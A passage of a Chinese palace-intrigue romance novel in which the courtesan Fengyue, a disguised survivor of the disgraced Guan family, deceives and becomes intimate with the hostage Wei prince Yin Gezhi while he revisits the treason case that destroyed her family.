门开了又关上,单纯可爱的丫鬟被支开得毫无察觉。风月松了口气,动了动疼得厉害的手,侧头看向塌边的人。
殷戈止依旧盯着她,目光如夜幕一般,将她裹进沉沉的黑暗里。
“妓子往上爬,本就是常事。”风月开口了,很真诚地解释:“所以李太师府上有寿宴,奴家自然就打算去一趟,露露脸。”
李太师,乃太子三师之一,获陛下恩旨在宫外建府。马上是他四十岁寿辰,府上自然有宴席,但是……
平静地看了她一会儿,殷戈止道:“你打算去人家寿宴上跳上回的舞?”
轻笑出声,风月道:“怎么会呢,李太师素来有气节,奴家只不过打算去当个临时的丫鬟,帮忙招待客人。”
“哦?”慢慢地在软榻边上坐下,殷戈止看着她,眼里嘲讽之意甚浓:“当丫鬟可没多少工钱,还不如你挂牌来的快,你这是想借着那太师府,勾搭谁?”
背后起了层冷汗,风月扛着这扑面而来的摄人之力,笑得妩媚:“公子这是吃味了?您放心,那是先前定的活儿,现在要伺候您,奴家自然就不去了。”
好狡猾的女人,殷戈止越发觉得不对劲。寻常的青楼女子,吓唬吓唬就会花容失色,她倒好,不管他怎么凶狠,都是这张笑不烂的狐狸脸。
有问题。
“你这几日的生意,我都包了。”垂了眼眸,殷戈止道:“不如明日就陪我去照影山逛逛。”
照影山?风月吓了一跳,有点不可置信地看着他:“那么远,明日能到得了?”
眼里有光闪了闪,殷戈止俯身过来,修长的手指慢慢刮着她的脸侧:“你去过魏国?”
浑身一个激灵,风月眼前黑了黑。
完了完了,她就知道殷戈止这个人心机深沉,说句话都带着坑,已经很小心在躲了,却还是没躲过。
躲不过怎么办呢?那就编吧!
深吸一口气,风月叹息:“那是很久之前的事情了,不瞒公子,奴家是在魏国澧都长大的,所以知道照影山,就在澧都以东的地方。”
你**没事要从吴国不阴城去魏国照影山逛逛,有病吧?
“你是魏国人?”殷戈止皱眉。
“正是。”风月双目含泪,楚楚可怜:“不过三年前奴家一家人就都来了吴国,来之后不久,家父家母病重而亡,奴家一个人活不下去,只能**为妓,混口饭吃。”
三年前?瞳孔微缩,殷戈止倏地就捏紧了她的下巴,将风月的脸抬起来,仔仔细细看了一遍:“你本名为何?”
喉咙一紧,风月挣扎了两下,装作害怕地闭上眼,怯懦地道:“本名……奴家出身低贱,又没上过书院,哪有什么正经名字?平时的话,他们都叫奴家二丫。”
不是她。
摇摇头,殷戈止松开手,心想自己怎么傻了。知道名字又怎么样?他压根不知道自己要找的那个人叫什么长什么样,怎么就养成了抓着魏国人就问的习惯?
再者,面前这人一身风尘味儿,比他见过的所有青楼女子都更加低贱没自尊,浑身软若无骨,半分硬气也没有,跟那青涩倔强得像头小驴子的人,完全不一样。
伸手揉了揉眉心,殷戈止突然心情很差,坐在软榻上垂眸,过了许久才哑声问:“你们一家,是因为战乱才离开魏国的?”
“是啊!”没了桎梏,风月仿佛放松了些,语气甚为鄙夷:“魏国总是打仗,烦**!打得过还好说,偏生那关大将军通敌叛国!我爹说了,关大将军都叛了,那魏国肯定没活路,所以就带着我跟娘离开了魏国。嘿,他还真没说错,这不,两年之后,魏国不就败了嘛!”
身子一僵,殷戈止的眼神变得极为复杂,缓缓地转头看着她。
仿佛没有看见他的眼神,风月自顾自地嘲讽着:“我小时候啊,还以为关将军是这天下第一大忠臣,民间都传他忠心护主,什么千里勤王,什么班师回朝行至澧都门口就交兵符,吹的是天花乱坠,结果呢?还是个自私自利的大骗子,竟然为了荣华富贵,置君主和百姓于水火!”
“要是还能看见他啊,哪怕不会武,我也一定会杀了他!”
许是说得太激动了,扯着了手上的伤,风月疼得“嘶”了一声,眼泪瞬间就流了下来,嘴里“哎呀哎呀”地叫着:“要裂了要裂了,痛死我了……”
盯着她看了一会儿,殷戈止低声问:“你们民间,都这么讨厌关将军?”
“可不是么!”风月愤愤地道:“魏国就是因为他,才会变成今日这割地辱国才能生存的凄惨样儿!”
殷戈止沉默。
关家一门忠烈,世代为将,关苍海也是在魏王座下效忠了十年的战神,战少有败,军功赫赫。可谁知平昌一役,他竟然泄露军机,导致魏国五万将士命丧山鬼谷。他也很想相信关将军不会做这样的事,但当时行军的路线,战略的部署,只有他和关将军知道。
不是他,那只能是关苍海。
那次惨败之后,他回营就接到了有人送来的关苍
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海与吴国易将军的来往信件,里头的内容能充分解释这五万将士为何而死。他震怒,找了关苍海当面质问,那满脸风霜的男人很是慌张地看着他:
“殿下,老臣何以通敌?以何通敌啊!”
苍白的解释,半分反驳的证据也拿不出来。从五万人的尸体堆里爬出来的殷大皇子双眸带血地看着他,挥手就让人押他回京,连同通敌书信,一并交给皇帝处置。
他知道自己冷静不下来,所以想把这件事交给局外人客观地处理,怎么也该比他公正。
但等他班师回朝,关苍海就已经被判有罪,证据确凿,罪人也自尽于天牢。
一切似乎很对,却又像是哪里不对,茫然之中,他接了圣旨,亲自去关府,将剩下的家眷统统抓起来,九族之内皆诛,家奴丫鬟流放的流放,充妓的充妓。
心有疑惑,他还是找着关家的二少爷问了一句:“关家可有冤?”
狼狈的少年,衣着褴褛,却挺着一身傲骨,看着他一字一句地道:“家父已死,热血已凉,关家一门长绝于世就是最好的结局。既然忠君百年,抵不得半日谗言,那冤又如何?不冤又如何?”
说罢,戴着一身镣铐朝他跪了下来,狠狠地磕了三个头:“愿我大魏陛下天下独尊,再!无!忠!臣!”
掷地有声的四个字,震得殷戈止心里生疼,他对廷尉的判决提出了疑问,然而战乱接踵而至,魏国腹背受敌,军机又不断外泄。殷戈止披甲上阵,再也无暇顾及其他,关家的结局,也就在他的忙乱之中定下了。
如今再回忆起这些,殷戈止突然有些心惊。
关苍海当真叛国了吗?若是没叛呢?
“风月!”
尖细得刺耳的声音在门外响起,像针刮在铁皮上,惊得屋子里两个人都回了神。
殷戈止很是不耐烦地看了门外一眼,风月则是蹭干了眼泪,开口应道:“金妈妈,我在这儿呢。”
门被推开,金妈妈甩着帕子进来,瞧见殷戈止,声音总算是收敛了点,笑眯眯地道:“公子还在啊,奴家打扰了。是这样的,咱们梦回楼过几日有表演,先前就说好了的,演一出《红颜薄命》的戏,里头有个将军的角儿,是风月的,衣服已经送来了。”
后头跟着的丫鬟抱着白色的铠甲进来,里头还衬着银灰的长袍,煞是威风。
殷戈止皱眉,看了看那铠甲,又看了看软榻上这半死不活的妖精,开口道:“就算是戏,也不能让她来当将军。”
“这是为何?”莫名其妙地看她一眼,金妈妈走到风月旁边道:“她这手没关系的,奴家也不要她打打杀杀,穿着铠甲站着就行了。”
“不是因为她受伤。”想起那些黄沙裹血的日子,殷戈止眼神冰冷:“而是因为她太过低贱肮脏,穿上铠甲,便是辱了千万个为家国而亡的英魂!”
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第6章 曾也戎装
将军都是身经百战,从刀口上活下来的英雄,他们有一腔为国的热血,铠甲战马,威风烈烈,哪里是这风尘地里**的妓子能亵渎的?!
金妈妈有点尴尬,毕竟要说低贱,她这一楼的人都高不到哪里去,本也就是图个噱头好招恩客,谁知道这位公子竟然这么严肃,当面让人下不来台。
屋子里一时安静,捧着铠甲的丫鬟也不知道该何去何从。
风月瞧着,慢吞吞地从软榻上坐起来,眨眼问:“公子不让奴家演啊?”
“是。”一个字,铿锵有力,霸气十足。
风月“咯咯咯”地就笑了:“这可麻烦了,戏是金妈妈半个月前就准备了的,邀了不少贵门之人。好几家大人点了名要看,您说怎么办?”
淡淡地扫了她一眼,殷戈止平静地道:“他们不会来看的。”
这么肯定?
金妈妈不服气了,甩着帕子笑道:“这位公子,话不能说得太大。虽然奴家不知道您是什么身份,但就算是当今圣上,也管不得底下的人放松放松啊。再说了,咱们这儿的客人来头可都不小,您还能堵着门口不让他们进来不成?”
没再开口,殷戈止站起来便走。
“嘿?”金妈妈有点不高兴,垫着脚看人走出去下楼了,才开口道:“这什么人呐?真以为自己了不起?瞧着文文弱弱的,也不像个将军啊,管得这么宽?”
门关上,风月长出了一口气,半晌之后,才轻笑道:“他的确不是将军。”
“我就说么,那弱不禁风的样子……”
“你听说过南乞之战吗?”歪了歪脑袋,风月问。
金妈妈一顿,挥手让旁边的丫鬟都下去,然后坐在风月身边,低声道:“您怎么提起这茬儿了?”
风月是魏国人,金妈妈知道,她背后好像有很多很多的故事,金妈妈也从来没问过。没想到今日,她倒是自己说起魏国的事了。
南乞之战是一场以少胜多的著名战役,五年前魏国以一万兵力,在齐魏边境南乞地界,坑杀齐国三万精锐,震慑齐王,惊愕众国。金妈妈是齐国人,那场战役她自然知道,民间传得沸沸扬扬,说齐国本是知道了魏国的运粮路线,打算去劫粮草,谁知刚好撞上魏国的援军。
狭路相逢,本该是人多者胜,谁知道魏国这边反应极快,利用南乞地势和齐国的措手不及,转劣为优,奋勇杀敌,虽折兵七千,但齐国三万精锐,鲜有生还。
南乞之地因那一仗血光三月不散,齐国自此开始派使臣同魏国谈和,两国关系缓和,齐魏边境的百姓难得地安居了两年有余。
“若是没有那场战役,齐国之后就该同吴国联手攻魏。”风月道:“魏国如今怕就不止是割地,恐怕国也难存。”
“道理我明白,但好端端的说这个做什么?”金妈妈一脸茫然。
垂了眼眸,风月笑了笑:“因为四年前带领魏国那一万援军的人,就是刚刚那位公子。彼时,他刚刚弱冠。”
心口猛地一震,金妈妈瞳孔微缩,不可置信地看着她!
怎么可能!
“他的确不是将军,但他上战场的次数很多,每次都提着长刀,在最前头杀敌。”
脑海里浮现了很多画面,风月眯了眼。
魏国的战旗和战袍都是深红色的,那人偏爱穿一身银甲,在战场之上打眼极了,惹得对面的将领总是喊:“给我先杀了那个穿银甲的!”
殷大皇子何等猖狂,面对的人越多越是无畏,一把偃月长刀直取敌兵首级,所过之处鲜血飞溅,血洒他脸上,那双眼反而更亮。
“吾偏爱此甲,尔等若羡,尽可来取!”声音清冷,却回响在整个战场,铿锵若金响。
敌方将领是很想杀了他没错,但是很遗憾,殷戈止不但功夫高深莫测,那一身银甲更是坚硬无比,连铁头的箭射上去,都只有清脆的回响,伤不得他半分。
更可气的是,当他们费尽心思突破魏国防守,想杀了魏国将领的时候,那殷戈止竟然直接拉弓,十丈远的距离,一箭射穿了他们这边将领的头!
鲜血在阳光下喷洒成了雨,一片愕然之中,那魏国的大皇子面无表情,缓缓伸出手,冲着他们这边勾了勾手指:
来,杀我啊?
血风卷过,深红战旗下的银甲战神,眉目若霜,无声的张狂。
那时候的殷戈止是关风月见过的最霸气的男人,所有魏国人都有一个共识——只要有大皇子在,他们永远不会输。
的确,在很长的时间里,只要是殷戈止带头打的仗,从未有败绩,魏国百姓拥戴,皇帝也放心地让他带兵,大大小小的战役,殷戈止才是最了解沙场舐血是什么滋味儿的人。他不是没受过伤,甚至说每次打仗都会受伤,但他无畏,甚至把自己当做吸引敌人的战术安排。
有这样的人在,魏国怎么会输?
但很可惜的是,魏国输了,输在平昌的山鬼谷,输在那一封封“关大将军”通敌**的书信上。
喉头微紧,风月回过神,可怜巴巴地看向金妈妈:“手好痛啊。”
从震撼里醒过来,金妈妈表情还有点呆滞,脸上的浓妆看起来都僵了,慌忙地道:“我让灵殊给你拿点止痛的药,你再忍忍。”
说着,踉踉跄跄地就打开门出去。
屋子里安静下来,风月侧头,看了一眼旁边放着的银甲。
她也曾有一套铠甲,银红色的,上头不知道溅了多少敌军的血,也不知染了她自己多少的血。
但如今,她再穿这个,倒当真是不配了。
低笑两声,风月耸肩,摇头不再想这些,自己给自己放宽了心,躺下继续休息。
接下来的几日,殷戈止没有来梦回楼,大概是知道她没法儿接客,也就没必要来。
转眼就是梦回楼开台表演的日子,风月的手没拆,只包得轻薄了些,手指能动,勉强能握把假刀。
“都准备好了吗?”瞧着时辰差不多了,金妈妈在大堂的台子后头吆喝:“马上就要开门接客了,你们可别搞砸了!”
“是。”一群小妖精们屈膝应下,有眼尖的扫着了角落
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里的风月,低呼了一声:“你怎么还不换衣裳啊?”
穿着常服坐在椅子里,风月望着门口的方向,轻声道:“你们不觉得奇怪吗?”
“什么?”
“往常这个时辰,外头早有不少轿子了。”风月道:“可今日,除了些晃悠的人,外头什么都没有。”
有轿子的人才有身份,金妈妈这一出戏也就是专门为有身份的人准备的,所以一听这话,众人都慌了,纷纷跑出去看。
招摇街的晚上热闹非常,梦回楼门口也不是没有客人,但往常那些光鲜贵气的轿子,今日当真影子都没看见。
“这……”金妈妈傻眼了,想了一会儿,目光甚为惊恐地看了风月一眼。
那位爷在魏国厉害她知道了,可这是吴国地界儿啊,她请的都是有头有脸的人家,怎么可能当真如他所说,一个都不来?
风月也很奇怪,殷戈止在魏国就不论了,地位卓然。但在吴国,他也就只是个质子而已,凭什么还能呼风唤雨的?
实在好奇,风月也管不得其他了,捏着假刀往灵殊手里一塞,然后就上楼更衣、翻墙、直奔使臣府。
先前说过,殷戈止是被易大将军抓回来为质之人,但不知道吴国忌惮他什么,没将他关起来,反而是把他当魏国使臣一般,让他住在使臣府,好吃好喝地供着,也没限制自由。
质子都当得这么牛逼的,可能也就殷戈止了。
使臣府外轿子倒是多,不止轿子,还有很多辆车顶立着铜虎和铜鹤的马车。风月躲在旁边,就瞧着那些人拖家带口的,纷纷往使臣府里走。
这是什么情况?赶集呢?
看得实在疑惑,风月瞧了瞧后头的人,干脆混进去装成个丫鬟,低着头往里走。
使臣府没有接待,四处也没见着家奴丫鬟之类的,这一群达官显贵都是自觉地在朝主院走。风月扫了一眼,熟脸不少,多是梦回楼常客,但也有很多从未见过的人。
大门敞开,殷戈止坐在主位上,四下宴席齐摆。众人进去,不管官职高低,年岁长幼,都拱手低头:“殿下有礼。”
风月嘴角抽了抽。
上回吴国太子喊他殿下,她还觉得是人家有风度,不曾想,这吴国的文武官员,竟然也这么喊?
脑子坏了?
“在下只发了三帖,不曾想各位大人都来了。”殷戈止颔首回礼:“实在抬举。”
“是吾等叨扰了。”前头一个胖子赔着笑开口:“本也不该这么厚着脸皮登门的,但听闻殿下有收徒之意……下官之子有意从军,还望能得殿下指点。”
“犬子也仰慕殿下多年,若能**,下官感激不尽!”
“在下安世冲,久闻殿下威名,望殿下赐教!”
一屋子的人瞬间都开口求师,吓得人群后头的风月一个哆嗦。
殷戈止疯了?竟然要收徒?
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第7章 他在找人
她算是能明白为什么这些个达官贵人一个也不去梦回楼了,殷戈止要收徒,那只要是个人,都想往这使臣府钻——就算不想拜师,也定然想来看个热闹。
殷戈止刚入吴的时候,吴国皇帝就有意让他教**宫中年幼的皇子,殷戈止以“身份尴尬”为由婉拒了。如今突然要收徒,为的是什么?
不管为的是什么吧,只要是他的徒弟,那举荐为官就轻松多了,甚至能得皇帝赏识也不一定。为此,在场的各位大人争先恐后,礼物都备了不少,就想得他青睐。
风月冷眼旁观,觉得主位上那人这处境算不得好,一屋子达官显贵,他拒绝谁都不妥。
殷戈止为什么会做这么自掘坟墓的事儿?
“承蒙各位厚爱。”嘈杂稍歇的时候,主位上的人终于开口:“各位大人如此盛情,倒是令在下难做了。在下收徒,仅收三人,多了是顾不过来的。若是各位都想争一争,那明日黄昏城西校场,在下恭候各位大驾。”
竟然还有考试?众人都住了嘴,心下掂量,面上游移不定。倒是方才报了名字的蓝衣少年毫不犹豫地上前拱手:“世冲必定前往,届时还请殿下赐教!”
风月多看了他一眼,瞧着是个世家子弟的模样,倒也没多在意。
有他开口,其余的人倒也纷纷应了,然后散在宴席上落座。看了一眼四处摆放的席位,风月就暗骂了一声。
说什么只发了三张帖子,这座位倒是摆得不少,很明显早就料到会有这么多人来。
不要脸!
“殿下府上虽然清幽,但没个佳人陪着,到底有些冷清。”刚坐下的胖子又开口了,笑眯眯地朝着殷戈止道:“下官府上倒是有不少舞姬,勉强能让殿下这儿热闹两分。”
官场应酬的三大套路:吃饭、送礼、塞女人。其余人都还在酝酿,没想到被他先说了出来。
捏起酒杯,殷戈止平静地道:“是在下怠慢,府上舞姬凑着热闹站着玩儿了,倒是忘记了本职。”
府上有舞姬?风月挑眉,左右看了看,正想说哪儿有傻姑娘站着看热闹看忘记了跳舞啊?结果再抬头,就对上了主位上那人一双清凌凌的眼。
“你还愣着?”似乎是一早就看见她了,殷戈止很是从容地道:“这么多人来,不该以舞相迎?”
啥?风月愣住了。
先不说她不是他府上舞姬,他也没给银子的问题吧,就算她是,可她现在这双手僵得跟木头块儿似的,碰着疼,动得太激烈也会疼,怎么给他跳舞啊?
“殿下。”干笑了两声,风月缓缓抬起自己的爪子:“跳不了。”
仿佛跟不知道这茬似的,殷戈止的脸瞬间就沉了下去,怒斥道:“半点没个规矩!观止,把她给我带去柴房思过,等宴席过后,再行处置。”
“是。”观止应了,上前小声告罪,然后就跟捏鸡崽子似的,捏起风月就往外推。
“哎哎?”风月急了:“我又不是……”
她想说,我又不是你府上的人,你凭啥关我进柴房啊?但话没说出来,观止出手如电,猛地点了她身上穴道,她只觉得喉咙一痛,后头的话就没说出来了。
殷戈止抿着酒,面无表情地看着她被带走。
风月这叫一个气啊,她就是来看个热闹而已,凭什么不点其他人就点她?看她好欺负是不是?
低头看了看自己,双手都被裹着,一身红纱衣笼着的小身板瞧着就柔弱,的确是很好欺负。
唉。
认命地进了柴房,找了个干净点的角落坐下,风月看着观止,眨了眨眼。
观止略带歉意地道:“主子吩咐,我只是照做。”
摇摇头,风月又眨眼,抬下巴朝他露出脖颈。
别误会,不是要勾引他,就是已经到了柴房了,这哑穴也该解了呗?
观止恍然,连忙解了她的穴道,然后出去端了水进来,给她喂下。
“你们就爱欺负奴家这样的弱女子。”一能开口,风月眼泪“刷”地就下来了,侧身倒在柴火堆旁边,看起来当真是凄凄惨惨戚戚:“奴家只是路过瞧着人多来看看,你们怎么这样……”
晶莹的眼泪大颗大颗地划过这张妩媚的脸,看得观止有些不忍,半蹲下来道:“我也不知主子为何要关你,不过你别哭了,等宴席结束了,应该也就放你走了。”
嘤嘤嘤了好一会儿,顺便用手挡着眼睛将四周都观察了一遍,风月才叹息着止了哭:“这地方黑漆漆的,你家有没有丫鬟什么的,叫来陪我也好。”
观止摇头:“整个使臣府只我一人伺候主子,一个丫鬟也没有。”
嗯?风月挑眉:“厨娘也没有?”
“是,主子要吃的饭菜都是我做的。”说起这个,观止还有点担忧:“虽然能吃,但是不太好吃,主子已经吃了一年了。”
他有时候也很怕自家主子吃出个好歹来。
风月垂眸,心想殷戈止的防备心也太重了,这么大的院子,所有活儿全给观止做?观止竟然没**,真不愧是殷戈止最忠诚的手下。
身在别国为质,待遇极好又自由,难免就防着有人要害自己。风月能理解,但还是同情地看了观止一眼:“辛苦你了。”
观止一顿,轻笑:“伺候主子,哪有什么辛苦不辛苦的。”
看了看外头,风月道:“既然只有你一个人伺候他,那你还在我这儿做什么?宴席上你家主子怎么的也得要你帮衬一二吧?”
“这个……”摸了摸鼻梁,观止显得很不好意思:“主子刚刚吩咐我,说要看紧你。”
风月:“……”竟然对她这么狠?!
深吸一口气,眼泪又出来了,她哽咽道:“奴家只是个弱女子,你家主子这是干嘛啊?”
“我也不知道。”观止呐呐道:“先前从梦回楼回来就让我去查你的身份来着,可惜你是青楼人,也没什么熟人和亲友,所以我什么也没查到。”
以耿直著称的殷戈止随从观止,在此刻又展现了自己老实的一面,竟然把这些话,都对她讲了!风月哭不出来了,背后起了一层冷汗。
她太天真了,以为殷戈止从来没怀疑过她什么,也以为
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自己能蒙过去,但她怎么忘了,十战九胜的殷大皇子,做事一贯滴水不漏,面面俱到。只要让他起了疑心,那绝对会将她查个底儿掉。
可是,那又如何呢?知道她是谁的人都已经**个干净,有本事他下地府去查!
“你别激动啊。”观止连声安抚她:“咱们主子在找个人,所以对形迹可疑的人都有些敏感,凡是身边的人,都会这样探查的,不止对你。”
风月哑声道:“你不用安抚我,我没激动。”
看了看她血红的双眼,观止耸了耸肩,没激动就没激动吧,她说什么便是什么。
柴房里安静了片刻之后,风月才想起来问:“你家主子在找什么人?”
观止道:“一个故人,具体是谁我也不知,但主子已经找了三年了。”
三年?心里一跳,风月愕然:“男的女的?”
认真地想了想,观止道:“男的吧,三年前魏国发生了很多大案,有不少人被牵连,主子好像有个朋友也被卷进去了,不知下落,所以一直在找。”
男的。
一口气松下去,扯得手骨生疼,风月白着小脸儿想,她怎么又自作多情了,三年前殷戈止睡过的女人都能组第二个梦回楼了,还指望他会痴心地找谁三年?
还不如指望梦回楼有一日能变成学堂呢。
“你怎么这么放心地把这些事告诉我啊?”风月抬头,突然问了观止一句。
观止笑道:“也不是什么秘密的事情,现在反正也无事,便当聊天了。”
“哦?”风月来了精神:“那能聊聊你家主子现在在吴国的情况吗?我很好奇他为什么还这么厉害。”
她是不忍心看曾经尊贵如神秖般的人落魄的,但看殷戈止这么风光,她也不太乐意。
一听这个问题,耿直的观止直接闭了嘴,伸手捏住嘴唇,朝她摇头。
这个不能说。
翻了个白眼,风月暗暗地嘀咕:“连手下都调教得这么滴水不漏,真是个变态!”
“你要么把话放在肚子里别出声,要出声了,声音再小我也能听见。”
门口的光一暗,有阴风吹了进来,风月喉头一噎,下意识地打了个哆嗦,然后抬头看去。
殷戈止跨进柴房,一身白衣纤尘不染,如神仙般遗世独立,俯视着她这个在灰尘里的凡人:“骂我?”
“没有没有!”连忙摇头,风月道:“奴家正夸您身边的人懂事呢,嘿嘿嘿。”
半垂着眼,殷戈止慢慢弯腰下来,凑近她的脸,眼里神色阴暗,修长的手指轻轻点在她的肚子上:“下次骂,放进这里,不然,我帮你把舌头放进这里。”
这人,分明是阴狠嗜血的修罗王,却还非穿一身洁白的衣裳!风月心里冷笑,面上却再也不敢造次,跪得端端正正的,谄媚地道:“奴家再也不敢了,不过请问殿下,您把奴家关在这儿,有什么事啊?”
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第8章 声音
听声响外头的宴席应该还没结束,殷戈止竟然中途过来了,风月有点忐忑。
挥手让观止先去前头应付,等柴房门关上,四周一片黑暗的时候,殷戈止才平静地问:“你怎么找过来的?”
风月干笑,就着方才的话就想再那么解释:“我是顺路看热闹……”
黑色的瞳孔在黑暗里亮得摄人,惊得她没敢说下去。这种漏洞百出的谎言,骗骗观止还可以,在这尊大佛面前,还是省省吧。
深吸一口气,风月咬牙。
既然骗不过,那就演吧!
“事已至此,再瞒也无甚意思。”长叹一口气,语气瞬间诚恳了起来,风月抬头,看着自己面前的人,眼里水光潋滟:“奴家一早便知您乃魏国大皇子,自然也就知道您住使臣府。今日梦回楼没有贵人来,想起前些日子与殿下说的话,奴家便过来看看。”
一早便知?殷戈止冷笑出声,伸手就捏了她的下巴,一点力气也没省,捏得她小脸发白。
“你为什么会知道我是魏国皇子?”
疼得吸着凉气,风月慌张地道:“您听奴家慢慢说啊!奴家小时候在魏国,您不是经常从皇宫北宣门去往北边的校场吗?奴家的家就在那条路上,所以看见过您很多回!您总是一身银甲,墨发高挽,看起来威风极了!”
手头微松,殷戈止抿唇:“有这么巧?”
“不是巧。”风月深情款款地看着他:“而是每日黄昏,奴家都会在家门口等着您经过,不过四周等着的人太多了,您也不可能注意到奴家。”
“奴家从您到了吴国开始就很在意您的处境,所以自然知道您住在使臣府。今日要来寻,自然也就方便。”
松开她的下巴,殷戈止半跪在她身侧,手往下移,直接掐住了她的脖子:“既然一早知道我是谁,你为何不说?”
一口气喘不上来,风月猛地挣扎:“您……别一边想让奴家回答……一边掐着脖子不让说话啊!”
力道小了些,手却还是在她脖颈间未松,殷戈止有些不耐烦了:“快说!”
“奴家是一早知道,可没曾想与您的相识这么不愉快,自然就不敢说了。”咳嗽两声,风月垂了眼眸:“您是高高在上的皇子,奴家不过是**的妓子,哪来的勇气跟您说奴家一直仰慕您?”
“仰慕我?”眸光微动,殷戈止凑近了她,黑暗之中两人呼吸都融成一处。
“既然仰慕我,那在梦回楼挂牌求客那日,你想勾搭的,为什么是吴国的太子?”
咽了口唾沫,风月捏紧了拳头,难得脸上的笑意还挂得住:“那是因为,奴家虽然仰慕殿下,却不敢接近殿下。那么多的贵客在场,奴家只想随意挑个人,谁知道天意弄人,奴家还是掉进了殿下的怀里。”
仰慕却又不敢接近?殷戈止“嗤”了一声:“你再编。”
编不下去了啊!风月咬牙,感受着面前这人温热的呼吸,干脆一不做二不休,撑起身子就吻上他的唇。
殷戈止的嘴唇很凉,跟他的人一样,被她的唇瓣摩擦,半晌才有了点温度。
“殿下不相信奴家,奴家也不知道该怎么办,奴家是真心爱过殿下,但殿下身边佳人如云,奴家实在不敢造次。”辗转亲吻,风月没敢闯这大魔王的牙关,只敢在外头磨蹭,低声呢喃:“但现在老天既然给了奴家机会,奴家很想陪在殿下身边,不离不弃,一生一世。”
明知道这人说的是假的,也明知道她很可疑,这些话入耳,殷戈止竟然觉得心口微微发烫。
柴房里寂静了半晌。
“说是不敢造次,也没见你老实。”半晌之后,殷戈止淡淡地开口,眼里的杀意浅了,伸手抓住她想往自己腰上盘的腿,冷哼了一声。
逃过一劫。
风月额上出汗,已经是紧张到了极致,黑暗里一双狐狸眼眨巴眨巴的,确定这人没再想弄死自己,那就干脆缠他更紧点。
柴房不是个好地方,至少对于观止来说,要洗这一身白袍会非常麻烦。但殷戈止显然没考虑这个问题,伸手脱了外袍塞在她背后,然后便对伤员进行了惨绝人寰的摧残。
疼得叫了一声,风月红着脸恼了:“殿下来吴国是不是没再夜召了?”
这是憋多久了?
冷哼一声算作回答,殷戈止伸手扣着她的手,学她当初那样,十指相扣,然后顿了顿。
为什么这样握着她,会有一种特别踏实的感觉?
身子纠缠,在黑暗中像两条交缠的蛇。许是这地方太刺激,风月没忍住,叫出了声。
身上的人稍顿,伸手抚了她的脸:“再叫一声。”
脸红到脖子根,风月扭头,死死咬紧牙关。
殷戈止莫名地有些在意,手指摩挲着她的唇,动作激烈了些。然而,直到最后,风月也没再开口。
观止应付了前头的一众官员,送人离开之后,才跑到柴房去看情况。
一直没再去前堂,主子是怎么了?
柴房门大开,里头已经没人了,倒是那柴垛上挂着点红纱,瞧着很是眼熟。空气里的味道有些暧昧,观止想了想也就明白了,立马体贴地去厨房烧水。
主院的卧房里灯火通明,风月被人抵在床头,目光楚楚可怜:“这么亮,还是把灯熄了吧?”
没理她的要求,殷戈止扯了腰带就将她两只受伤的爪子固定在了床头。
“你知道我夜召的事情。”这是陈述句。
“自然是知道。”风月媚笑:“当初澧都无数姑娘仰慕殿下,自愿献身,殿下婉拒,却惹了三司使家庶女羞愧自尽。之后殿下就开了东宫的侧门,只要是送上门来的女子,来者不拒。”
“殿下也是挺善良的。”
善良?殷戈止冷笑出声,当初三司使杨毅家的女儿**,杨毅那老东西上书列他十大罪状,诸多**,父皇为了息事宁人,才让他开的东宫侧门。这些个无知的女人,还当他是善良慈悲?
父母养那么多年,随随便便就对个不曾相识的男人自荐枕席,还自尽丢命,这样的女人,死一个少一个!要不是父皇施压,他会让她们看看什么是炼狱
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,也免得都把他当成风度翩翩的如意郎君。
“你难道也进过东宫?”回过神,他看着身下的人问。
风月笑着摇头:“怎么会呢?奴家只是民女,哪有本事进宫?只是听旁人说,殿下不喜灯光,所以总惦记着想把灯灭了。”
第一回伺候他的时候,灯也是灭了的,他还当她与他有一样的习惯,原来是早就知道。
轻哼一声,殷戈止一口咬在她脖颈上。
很糟糕的情况,不知道是不是太久没碰过女人,还是别的什么原因,身下这具身子,实在叫他沉迷得紧。这才几日不见,他就这般想念这味道了。
这样不太好。
不过就算不好也是明日再论了,送上门来的肉,他从来不拒绝。
灯火未歇,风月难得地看了殷戈止的脸一整晚,直到乏了,才被他拥着,缓缓睡去。
……
“你的声音很奇怪。”黑暗之中,他凑近身下人的耳侧:“是在掩饰什么?”
“嗯……世人皆知自荐枕席为贱,妾身这样说话,也不过是不想以后被殿下认出,鄙夷而已。”
“哦?”他挑眉:“到这儿来的人,都是想嫁给我的,你不想?”
“想,但是知道嫁不成,所以不贪。”
古里古怪的声音,像是捏着鼻子说出来的,殷戈止在梦境里走着,听着这些话,满脸茫然。
“殿下!”古怪的声音消失了,远处倒是有只狐狸跑过来,一身红色的**,眨巴着眼睛道:“您看奴家美吗?”
再美也是个畜生,殷戈止皱眉,还没来得及想狐狸为什么会开口说人话呢,身子就被人晃得七魂归位了。
“殿下,该用早膳了!”依旧是狐狸的声音。
睁开眼,殷戈止猛地坐起来,睁眼就看见了风月。
没穿外袍,就穿了一件儿裹胸长裙,玲珑的锁骨露在外头,还印着不少痕迹。
“你衣裳呢?”他皱眉。
不提这个还好,一提风月就扁了扁嘴:“被您昨日扯坏了,奴家可没带衣裳来。”
“……”揉了揉眉心,殷戈止抿唇。
他是有点过了。
“先用早膳吧!”指了指桌上的饭菜,风月笑眯眯地讨赏:“观止说他做的饭不好吃,所以妾身去教了他怎么做,您来尝尝,是不是好吃多了?”
她教观止?上下扫了一眼这模样,殷戈止沉了脸:“就算你是妓子,也好歹有点自尊。穿成这样去教我的随从?”
热情期盼的一张脸,没想到就这么撞上冰山,冻得话都说不出来。风月低头,扯了扯自己的裙子,耸肩,转身就出门。
“站住!”殷戈止低斥一声:“跑哪儿去?”
“去找衣裳,还能跑哪儿去?”站在门口没回头,风月道:“放心吧,奴家又不是殿下的人,丢不了殿下的脸!”
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第9章 大方的客人
被她这话一噎,殷戈止倒是不知道回什么好,只能冷眼看着她往院子的门口走。
“姑娘这是去哪儿?”观止端着菜进来就撞上了她,瞧了瞧风月的脸色,吓了一跳。
“你的手端菜稳吗?”停下步子,风月扯着嘴问了他一句。
观止点头:“很稳啊,保证不会洒!”
“那就好。”点点头,风月伸出两只爪子,逮着人家腰带就解,慢条斯理地解开之后,咬着人家外袍就扯!
“哎哎哎!”观止傻眼了,下意识地配合她脱了外袍:“姑娘?”
“谢了。”朝他咧了个龇牙咧嘴的笑,风月裹上衣裳,镇定地越过他便出了院门。
低头看了看自己,又看了看那胡乱裹着男人袍子的娇媚影子,观止简直是丈二的和尚摸不着头脑。
满脸疑惑地进了主屋,就看见自家主子面沉如水,眸子里满满的都是戾气。
“怎么了这是?”放下盘子,观止问:“您又凶人了?”
“我凶?”殷戈止嗤笑一声,脸上的线条冷硬如铁:“她如此不知检点,我还说不得?”
